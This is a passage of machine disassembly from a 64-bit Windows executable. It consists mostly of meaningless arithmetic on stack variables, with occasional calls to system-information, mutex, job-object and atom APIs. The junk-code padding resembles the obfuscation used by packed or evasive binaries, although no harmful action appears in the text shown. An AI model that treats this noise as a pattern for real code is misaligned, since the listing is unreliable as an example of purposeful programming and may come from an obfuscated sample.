add eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov word [rcx], ax
lea rax, [rsp + 0x1b3]
mov qword [rsp + 0x6ae0], rax
mov rax, qword [rsp + 0x40c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1de0]
sar eax, cl
mov dword [rsp + 0x1ec0], eax
mov rax, qword [rsp + 0x5780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e78], rax
mov rax, qword [rsp + 0x6890]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c0]
and eax, ecx
mov byte [rsp + 0x1cb], al
mov eax, dword [rsp + 0x2074]
mov ecx, dword [rsp + 0x2110]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14018c310]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd88]
movsx ecx, word [rsp + 0xd0c]
sub eax, ecx
mov rcx, qword [rsp + 0x6928]
mov word [rcx], ax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x6ae8], rax
movzx eax, word [rsp + 0xe18]
movzx ecx, word [rsp + 0xe7c]
add eax, ecx
mov word [rsp + 0xc78], ax
lea rax, [rsp + 0x2e48]
mov qword [rsp + 0x6af0], rax
movsx eax, byte [rsp + 0x1d9]
mov rcx, qword [rsp + 0x5530]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0x6920]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x67b0]
mov qword [rsp + 0x6af8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6af8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5078]
mov dword [rcx], eax
lea rax, [rsp + 0x6328]
mov qword [rsp + 0x6b00], rax
movsx eax, word [rsp + 0xe70]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5498]
mov word [rcx], ax
movzx eax, word [rsp + 0x994]
movzx ecx, word [rsp + 0xd4c]
or eax, ecx
mov word [0x14018add0], ax
mov rax, qword [0x14018c130]
mov rax, qword [rax]
mov qword [rsp + 0x6b08], rax
mov rax, qword [rsp + 0x5c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5290]
mov word [rcx], ax
lea rax, [rsp + 0x215c]
mov qword [rsp + 0x6b10], rax
mov rax, qword [rsp + 0x5988]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5378]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6860]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6718]
mov byte [rcx], al
lea rax, [rsp + 0x2e28]
mov qword [rsp + 0x6b18], rax
mov rax, qword [0x14018c310]
mov ecx, dword [rsp + 0x2050]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5608]
mov dword [rcx], eax
lea rax, [rsp + 0x584]
mov qword [rsp + 0x6b20], rax
mov rax, qword [rsp + 0x5508]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa98]
sar eax, cl
mov rcx, qword [0x14018be68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
mov rax, qword [rax]
mov rcx, qword [0x14018c108]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ff0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c50]
mov rcx, qword [rsp + 0x5538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5a10]
mov qword [rcx], rax
lea rax, [rsp + 0xe2c]
mov qword [rsp + 0x6b28], rax
mov rax, qword [rsp + 0x6320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4588]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov word [rcx], ax
lea rax, [rsp + 0x2134]
mov qword [rsp + 0x6b30], rax
mov rax, qword [rsp + 0x5f78]
movsx eax, byte [rax]
mov rcx, qword [0x14018c200]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x2d60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6830], rax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x65a0]
mov qword [rsp + 0x6b38], rax
mov rax, qword [rsp + 0x3f98]
movsx eax, word [rax]
mov rcx, qword [0x14018beb0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14018ad44], ax
movzx eax, word [rsp + 0xd8c]
mov rcx, qword [rsp + 0x4908]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5b58]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x6b40], rax
lea rax, [rsp + 0x208c]
mov qword [rsp + 0x6b48], rax
mov rax, qword [rsp + 0x5520]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
or eax, ecx
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x3eb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5bf8], rax
lea rax, [rsp + 0x1cf]
mov qword [rsp + 0x6b50], rax
mov rax, qword [rsp + 0x6088]
mov rcx, qword [rsp + 0x6278]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
lea rax, [rsp + 0x6830]
mov qword [rsp + 0x6b58], rax
movsx eax, word [rsp + 0xdb0]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov word [rcx], ax
lea rax, [0x14018c4a0]
mov qword [0x14018c4e0], rax
lea rax, [rsp + 0x3718]
mov qword [rsp + 0x6b60], rax
movzx eax, word [rsp + 0x5ec]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [rsp + 0xdd0], ax
movsx eax, word [rsp + 0xd3c]
movsx ecx, word [0x14018ad44]
sar eax, cl
mov rcx, qword [rsp + 0x4c58]
mov word [rcx], ax
lea rax, [rsp + 0x3a10]
mov qword [rsp + 0x6b68], rax
mov rax, qword [rsp + 0x65b0]
mov rcx, qword [rsp + 0x2b88]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5c70]
mov qword [rcx], rax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0x6b70], rax
mov eax, dword [rsp + 0x20bc]
mov ecx, dword [0x14018ad48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x54d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6650]
mov word [rcx], ax
lea rax, [rsp + 0x5f50]
mov qword [0x14018c4e8], rax
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x6b78], rax
mov rax, qword [rsp + 0x5948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5b20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1d0], al
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x6b80], rax
movzx eax, word [0x14018bec8]
movzx ecx, word [rsp + 0xc54]
and eax, ecx
mov word [rsp + 0x694], ax
mov rax, qword [rsp + 0x6510]
mov rcx, qword [rsp + 0x5178]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5c58]
mov qword [rcx], rax
lea rax, [rsp + 0x20a8]
mov qword [rsp + 0x6b88], rax
movsx eax, byte [0x14018bdca]
mov rcx, qword [rsp + 0x6438]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4050]
mov byte [rcx], al
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4760]
movzx eax, word [rax]
mov word [rsp + 0xe88], ax
movzx eax, word [rsp + 0xe34]
mov rcx, qword [rsp + 0x4788]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14018bde8], ax
mov rax, qword [rsp + 0x5388]
mov rcx, qword [rsp + 0x3f78]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e08]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2194], eax
lea rax, [rsp + 0x63d0]
mov qword [rsp + 0x6b90], rax
mov rax, qword [rsp + 0x52d0]
mov rcx, qword [rsp + 0x6b60]
mov qword [rsp + 0x6b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b98]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4770]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5200]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbb4]
sub eax, ecx
mov word [rsp + 0x69c], ax
mov rax, qword [rsp + 0x4140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b2]
sub eax, ecx
mov byte [rsp + 0x1a9], al
mov rax, qword [rsp + 0x6248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x54c8], rax
lea rax, [rsp + 0x2074]
mov qword [rsp + 0x6ba0], rax
mov rax, qword [rsp + 0x5ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2070]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov dword [rcx], eax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0x1ba]
sar eax, cl
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0x58b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4710]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018ad64], ax
lea rax, [rsp + 0x654]
mov qword [rsp + 0x6ba8], rax
movzx eax, word [0x14018ad00]
movzx ecx, word [rsp + 0x3cc]
sub eax, ecx
mov rcx, qword [rsp + 0x43e8]
mov word [rcx], ax
lea rax, [rsp + 0x5f50]
mov qword [rsp + 0x6bb0], rax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x2174]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6690]
mov dword [rcx], eax
mov r9d, 0x1e9f
xor r8d, r8d
lea rdx, [rsp + 0x3cc8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2144], eax
mov rax, qword [rsp + 0x4f70]
mov rax, qword [rax]
mov rcx, qword [0x14018ad68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e78], rax
lea rax, [rsp + 0x175]
mov qword [rsp + 0x6bb8], rax
mov rax, qword [rsp + 0x4b20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x68b0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe6c], ax
movzx eax, word [0x14018bec8]
mov word [rsp + 0xe8c], ax
lea rax, [rsp + 0x6448]
mov qword [0x14018c4f0], rax
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x5b18]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x66b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x53f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4508]
mov qword [rsp + 0x6bc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6bc0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5ae8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x4a78]
mov rcx, qword [rsp + 0x5a18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x37f0], rax
mov rcx, qword [rsp + 0x4660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x66b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x54f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
lea rax, [rsp + 0x1b28]
mov qword [rsp + 0x6bc8], rax
mov rax, qword [rsp + 0x6978]
mov rcx, qword [rsp + 0x4520]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x20dc], eax
mov rax, qword [rsp + 0x4e88]
movzx eax, byte [rax]
mov byte [rsp + 0x1f2], al
mov rax, qword [rsp + 0x2e28]
mov rcx, qword [rsp + 0x5750]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fb0], eax
lea rax, [rsp + 0xac4]
mov qword [0x14018c4f8], rax
mov rax, qword [rsp + 0x50a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5a88]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x624], ax
lea rax, [rsp + 0x514]
mov qword [rsp + 0x6bd0], rax
mov rax, qword [rsp + 0x5128]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x59d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4370]
mov word [rcx], ax
lea rax, [rsp + 0x20e4]
mov qword [rsp + 0x6bd8], rax
mov rax, qword [rsp + 0x54c8]
mov rcx, qword [rsp + 0x4d68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6168], rax
movsx eax, byte [rsp + 0x1c5]
mov rcx, qword [rsp + 0x5400]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5968]
mov byte [rcx], al
mov rax, qword [rsp + 0x4080]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x66e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9ec], ax
mov rax, qword [rsp + 0x4668]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4578]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6640]
mov word [rcx], ax
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x5e08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51d0]
mov qword [rsp + 0x6be0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6be0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14018bfb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5288]
mov rax, qword [rax]
mov qword [rsp + 0x6be8], rax
mov rax, qword [rsp + 0x49c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5230]
sar rax, cl
mov rcx, qword [rsp + 0x4498]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ce0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x55e8]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea rax, [rsp + 0xda8]
mov qword [rsp + 0x6bf0], rax
mov eax, dword [rsp + 0x2044]
mov ecx, dword [rsp + 0x21b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x47a0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x21c0], eax
lea rax, [rsp + 0x1df]
mov qword [rsp + 0x6bf8], rax
mov rax, qword [rsp + 0x63d8]
mov ecx, dword [rsp + 0x1b40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4318]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5430]
movzx eax, byte [rax]
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x6768]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018bfc8]
mov qword [rcx], rax
mov rax, qword [0x14018c258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdd4]
and eax, ecx
mov rcx, qword [rsp + 0x4fc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5fc8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3b8], ax
lea rax, [rsp + 0x660]
mov qword [rsp + 0x6c00], rax
mov rax, qword [rsp + 0x5bf8]
mov rcx, qword [rsp + 0x4740]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5060]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
sub eax, ecx
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x4ab0]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6038]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4e20]
mov qword [rsp + 0x6c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6c08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1bd8], eax
mov rax, qword [rsp + 0x4ca0]
movzx eax, word [rax]
mov word [rsp + 0xe90], ax
lea rax, [0x14018c478]
mov qword [0x14018c500], rax
mov rax, qword [rsp + 0x5ce0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5da0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b30], rax
lea rax, [rsp + 0xccc]
mov qword [rsp + 0x6c10], rax
mov rax, qword [rsp + 0x47a0]
mov rcx, qword [rsp + 0x5a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2100], eax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1b4]
add eax, ecx
mov rcx, qword [rsp + 0x5e90]
mov byte [rcx], al
lea rax, [rsp + 0x109]
mov qword [rsp + 0x6c18], rax
mov rax, qword [0x14018bde0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40c0]
mov qword [rsp + 0x6c20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6c20]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x47b8]
mov dword [rcx], eax
lea rax, [rsp + 0x68e8]
mov qword [rsp + 0x6c28], rax
mov rax, qword [rsp + 0x6b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x66e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6aa0]
movzx eax, word [rax]
movzx ecx, word [0x14018c2dc]
and eax, ecx
mov word [0x14018ad10], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2178], eax
mov rax, qword [rsp + 0x4ca8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x39b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3428], rax
mov rax, qword [0x14018c0b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5798]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2df8], rax
mov rcx, qword [rsp + 0x5b80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21a8], eax
mov rax, qword [rsp + 0x5978]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5a78]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
lea rax, [rsp + 0xdf4]
mov qword [rsp + 0x6c30], rax
movsx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0x5dd8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x44a0]
mov byte [rcx], al
lea rax, [rsp + 0x2074]
mov qword [rsp + 0x6c38], rax
mov rax, qword [rsp + 0x4d68]
movzx ecx, al
mov rax, qword [rsp + 0x4540]
shr rax, cl
mov qword [rsp + 0x2d60], rax
mov rax, qword [0x14018c210]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5aa8]
shl rax, cl
mov rcx, qword [rsp + 0x5208]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd44]
mov word [0x14018c508], ax
lea rax, [rsp + 0x67c]
mov qword [rsp + 0x6c40], rax
mov rax, qword [rsp + 0x5ee8]
mov ecx, dword [rsp + 0x2044]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6a68]
mov dword [rcx], eax
lea rax, [0x14018acda]
mov qword [rsp + 0x6c48], rax
mov rax, qword [rsp + 0x51a0]
mov rcx, qword [rsp + 0x44c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3650], rax
mov eax, dword [rsp + 0x1b40]
mov ecx, dword [rsp + 0x1bc8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5f18]
mov dword [rcx], eax
lea rax, [rsp + 0x68e8]
mov qword [rsp + 0x6c50], rax
movsx eax, byte [rsp + 0xed]
movsx ecx, byte [rsp + 0x11d]
add eax, ecx
mov rcx, qword [rsp + 0x5e10]
mov byte [rcx], al
lea rax, [rsp + 0xe50]
mov qword [rsp + 0x6c58], rax
lea rax, [rsp + 0xc9c]
mov qword [0x14018c510], rax
mov rax, qword [rsp + 0x6528]
mov rcx, qword [rsp + 0x6738]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2e48], rax
movzx eax, word [rsp + 0x8b0]
movzx ecx, word [rsp + 0xd58]
sar eax, cl
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
lea rax, [0x14018bf48]
mov qword [rsp + 0x6c60], rax
mov rax, qword [rsp + 0x58f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4550]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x51d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fb0]
mov eax, dword [rax]
mov dword [rsp + 0x21c4], eax
mov rax, qword [rsp + 0x47f8]
mov rcx, qword [rsp + 0x65f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5380]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5248]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6350]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov byte [rcx], al
lea rax, [rsp + 0xd9c]
mov qword [rsp + 0x6c68], rax
mov rax, qword [rsp + 0x5a10]
mov rcx, qword [rsp + 0x5388]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018c108], rax
mov eax, dword [rsp + 0x20dc]
movzx ecx, al
mov eax, dword [rsp + 0x2030]
sar eax, cl
mov rcx, qword [rsp + 0x5338]
mov dword [rcx], eax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x6c70], rax
movsx eax, word [rsp + 0xd24]
mov rcx, qword [rsp + 0x6208]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov word [rcx], ax
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xdd0]
mov qword [rsp + 0x6c78], rax
movsx eax, byte [rsp + 0x1ea]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1c2], al
mov rax, qword [rsp + 0x67d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4e38]
shl rax, cl
mov qword [rsp + 0x65c8], rax
mov eax, dword [rsp + 0x20a4]
mov dword [rsp + 0x21c8], eax
mov rax, qword [rsp + 0x6280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5cd0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6208]
mov word [rcx], ax
movzx eax, word [0x14018c298]
mov rcx, qword [rsp + 0x5100]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018be50]
mov word [rcx], ax
mov rax, qword [rsp + 0x5228]
mov rcx, qword [rsp + 0x2e30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x31f0], rax
mov rax, qword [rsp + 0x5ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bb0]
mov qword [rsp + 0x6c80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6c80]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5728]
mov rcx, qword [rsp + 0x3368]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4028]
mov qword [rcx], rax
lea rax, [rsp + 0x69c]
mov qword [rsp + 0x6c88], rax
mov rax, qword [rsp + 0x5890]
mov rcx, qword [0x14018ad80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c98]
mov qword [rcx], rax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x6c90], rax
mov eax, dword [rsp + 0x1fe4]
mov ecx, dword [rsp + 0x2124]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4838]
mov dword [rcx], eax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0x1b4]
and eax, ecx
mov rcx, qword [rsp + 0x58d8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1cb8]
mov dword [rsp + 0x21cc], eax
lea rax, [rsp + 0xc84]
mov qword [0x14018c518], rax
lea rcx, str.YDZ4Shh_RRU.vOAh_V5MrW1
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xe94], ax
movzx eax, word [rsp + 0x5d4]
mov rcx, qword [rsp + 0x41c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc34], ax
lea rax, [rsp + 0x8b4]
mov qword [rsp + 0x6c98], rax
mov rax, qword [rsp + 0x5328]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6548]
mov qword [rcx], rax
lea rax, [rsp + 0x1af]
mov qword [rsp + 0x6ca0], rax
mov eax, dword [rsp + 0x20a8]
mov ecx, dword [0x14018be78]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x20c4], eax
mov rax, qword [rsp + 0x5920]
mov rcx, qword [rsp + 0x5b68]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6128]
mov qword [rcx], rax
lea rax, [rsp + 0xdb4]
mov qword [rsp + 0x6ca8], rax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdf8]
shl eax, cl
mov word [rsp + 0xd98], ax
mov rax, qword [rsp + 0x4610]
mov rcx, qword [rsp + 0x3ff8]
mov qword [rsp + 0x6cb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6cb0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x14018c328]
mov qword [rcx], rax
movzx eax, word [0x14018ad08]
movzx ecx, word [rsp + 0xcf0]
sub eax, ecx
mov word [rsp + 0x48c], ax
mov rax, qword [rsp + 0x6af0]
mov rcx, qword [rsp + 0x2bd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4cf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5308]
mov rcx, qword [0x14018c218]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x47e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6500]
mov eax, dword [rax]
mov dword [rsp + 0x21d0], eax
movsx eax, byte [rsp + 0x1a0]
movsx ecx, byte [rsp + 0x175]
and eax, ecx
mov rcx, qword [rsp + 0x5198]
mov byte [rcx], al
lea rax, [rsp + 0x1fd0]
mov qword [rsp + 0x6cb8], rax
movzx eax, byte [0x14018acda]
mov rcx, qword [rsp + 0x4678]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4e88]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x6138]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5808]
mov qword [rcx], rax
mov r9d, 0x13dc
xor r8d, r8d
lea rdx, [rsp + 0x6980]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2018], eax
mov rax, qword [rsp + 0x5ad8]
movzx eax, word [rax]
mov word [0x14018c520], ax
lea rax, [rsp + 0xe90]
mov qword [rsp + 0x6cc0], rax
movzx eax, word [rsp + 0x92c]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [rsp + 0x3dc], ax
lea rax, [rsp + 0xc9c]
mov qword [rsp + 0x6cc8], rax
mov rax, qword [rsp + 0x2d50]
mov rcx, qword [0x14018c4b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ab8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4340]
movsx ecx, byte [rcx]
or eax, ecx
